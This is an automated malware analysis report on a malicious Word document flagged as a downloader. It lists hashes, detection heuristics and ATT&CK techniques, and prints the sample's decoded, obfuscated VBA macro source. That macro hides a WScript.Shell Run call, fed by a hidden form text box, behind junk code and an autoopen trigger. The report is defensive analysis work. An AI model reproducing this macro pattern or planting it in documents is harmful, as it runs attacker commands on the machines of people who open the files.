Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 567325db84cdbaf5…

MALICIOUS

Office (OLE)

145.4 KB Created: 2019-01-15 17:20:00 Authoring application: Microsoft Office Word First seen: 2019-01-25
MD5: 88331dafd70b6efc6680ce8f67f4f57b SHA-1: 6cc39dfc48e74479c284c4a4180f65d6e92aa71b SHA-256: 567325db84cdbaf5698fdb54b0f61ea97bfdc4a7566ac53ce1f36e9494f8a3d3
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of arbitrary commands. The presence of an AutoOpen macro further points to automatic execution upon opening. The ClamAV detection as 'Doc.Downloader.Generic' strongly suggests a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6816178-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6816178-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set Sharableiz = etailersnn
    SouthDakotaiv = "WscRipt.sHeLl"
       Set COMdp = solutionsrm
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set programbz = Customerou
    Recontextualizedzr = Array(CFPFrancor, u1080ppb, monitorzz, CreateObject(SouthDakotaiv).Run!(("" + HandmadeFrozenGlovesws + channelszo + Securedhu + Kuwaitlp.TextBox1) + Avondw + overridejw + Unbrandedwk + whitejq + crossplatformin, 5 - 5), alarmlw, enterprisemm, Trackik)
       Set programmingaz = securedlinetl
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub autoopen()
    Genericjk = Array(Horizontalzl, Optimizationsb, Centerlc, NorfolkIslandim, GorgeousPlasticTablefl, plumzi, primarycf)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7147 bytes
SHA-256: 4d59b7f0ce441b3bc5a70689bf2a1276b86f15a5ad92b62273ba72db312d743c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kuwaitlp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "Analystmj"
Function NorfolkIslandim()
On Error Resume Next
   Set auxiliarycw = MarshallIslandsfw
For Each GBtt In onlinecw
      For Each Totalwk In BurundiFranczb
         innovatewl = (Oct(13))
      Next
      Do
         CreditCardAccountpb = CLng(redundantzj)
      Loop Until B2Cba Eqv systemkr
      Set Arizonafi = Crescenthj
      UnbrandedSteelChickenwh = Associateql
      For Each RAMmf In userfacingru
         RwandaFrancvj = Cos(hackzb)
      Next
   Next
 Set regionaljd = GamesKidsjd
   Set invoicenw = architectsu
For Each Mobilityao In Idahowz
      For Each indexjb In Bypassvd
         Parksbl = (Oct(373))
      Next
      Do
         Globalkl = CLng(emarketsaf)
      Loop Until Clubls Eqv vortalsbi
      Set Forwardjh = Dynamicjq
      parsingzu = HandcraftedSoftSausageswq
      For Each Incredibleqi In SomaliShillingbw
         orangejo = Cos(Manorsmj)
      Next
   Next
 Set coherentkh = Jamaicaip
   Set Marketsdf = transmittingcf
For Each heuristicww In Omanjn
      For Each TunisianDinarjv In SASzo
         quantifyjf = (Oct(647))
      Next
      Do
         HTTPii = CLng(Genericbb)
      Loop Until recontextualizeai Eqv invoiceib
      Set SQLwo = Liaisonfm
      CheckingAccountjv = Squaresbr
      For Each Licensedas In Centersri
         Officermr = Cos(Programmableou)
      Next
   Next
 Set asynchronousvm = contentbasedpf
   Set Mobilitysu = Agentnp
For Each Motorwayzb In Investorlh
      For Each whitefi In Ranchjw
         Executiveif = (Oct(300))
      Next
      Do
         SavingsAccountqr = CLng(ToolsMoviesAutomotivewp)
      Loop Until Technicianus Eqv Internalrn
      Set inputhq = Marylandvi
      impactfului = Districtnq
      For Each Recontextualizedou In RusticCottonPantszl
         MarshallIslandsik = Cos(Hungarytl)
      Next
   Next
 Set Sharableiz = etailersnn
SouthDakotaiv = "WscRipt.sHeLl"
   Set COMdp = solutionsrm
For Each BahrainiDinartp In Coordinatoric
      For Each Concreteqp In Ohiovr
         Automotivems = (Oct(383))
      Next
      Do
         Cambridgeshirepj = CLng(Lightwc)
      Loop Until Rubberjt Eqv Futuredw
      Set tanjb = SavingsAccountnv
      Grenadadp = Usabilityub
      For Each onlineub In Polarisedij
         goldso = Cos(AutoLoanAccountpw)
      Next
   Next
 Set Engineerfp = verticalin
   Set Greenlq = synergyjb
For Each Expresswayzj In Metalwb
      For Each PersonalLoanAccountzd In tangiblejz
         IncredibleWoodenKeyboardrq = (Oct(31))
      Next
      Do
         Creativedc = CLng(lavenderjt)
      Loop Until Bordersic Eqv Borderssn
      Set CFAFrancBEACvr = SleekPlasticGlovestb
      Handcraftedwc = Cambridgeshirerk
      For Each CheckingAccountnz In AwesomeMetalChairil
         userswf = Cos(Missourirl)
      Next
   Next
 Set programbz = Customerou
Recontextualizedzr = Array(CFPFrancor, u1080ppb, monitorzz, CreateObject(SouthDakotaiv).Run!(("" + HandmadeFrozenGlovesws + channelszo + Securedhu + Kuwaitlp.TextBox1) + Avondw + overridejw + Unbrandedwk + whitejq + crossplatformin, 5 - 5), alarmlw, enterprisemm, Trackik)
   Set programmingaz = securedlinetl
For Each AutoLoanAccountol In USDollarcz
      For Each BabyToolsElectronicsbk In Belaruszw
         Exclusivezo = (Oct(176))
      Next
      Do
         busnc = CLng(Vermontmh)
      Loop Until Marketingst Eqv virtualsw
      Set AImw = IntelligentConcreteChickendw
      Shoalsat = Liaisonub
      For Each Metalnz In paymentaj
         compresshz = Cos(Millsj)
      Next
   Next
 Set Implementationko = Buckinghamshireri
   Set invoicejn = Streetbm
For Each bypassbd In copyja
      For Each JBODwr In Analystww
         Cottonlu = (Oct(390))
      Next
      Do
         Toolsbc = CLng(paymentzt)
      Loop Until initiativedu Eqv Gorgeousam
      Set backupzj = syndicatetq
      CaymanIslandsDollarir = Developerkm
      For Each RefinedPlasticFishka In bypassingzh
         Yemennh = Cos(revolutionarynz)
      Next
   Next
 Set Supervisorqw = HomeToysqn
End Function


Attribute VB_Name = "Meadowscz"
Sub interfacesbq()
Awesomezk = IntelligentFreshFishoc
Maldivesvz = navigatemj
Wyomingbi = overridelp
End Sub
Sub autoopen()
Genericjk = Array(Horizontalzl, Optimizationsb, Centerlc, NorfolkIslandim, GorgeousPlasticTablefl, plumzi, primarycf)
End Sub

Attribute VB_Name = "Brandingbd"

Attribute VB_Name = "bluetoothod"

Attribute VB_Name = "Capejq"

Attribute VB_Name = "Manatlw"

Attribute VB_Name = "explicittk"

Attribute VB_Name = "purpleti"

Attribute VB_Name = "Regionalrh"

Attribute VB_Name = "NepaleseRupeemv"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "applicationhi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Freshaj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Clubdi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tongado"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Supervisorfc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Buckinghamshirejd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False